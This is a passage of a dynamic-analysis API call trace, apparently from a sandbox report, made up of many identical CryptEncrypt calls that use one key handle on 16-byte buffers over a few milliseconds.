hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.471] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.472] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.473] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.474] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.475] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, 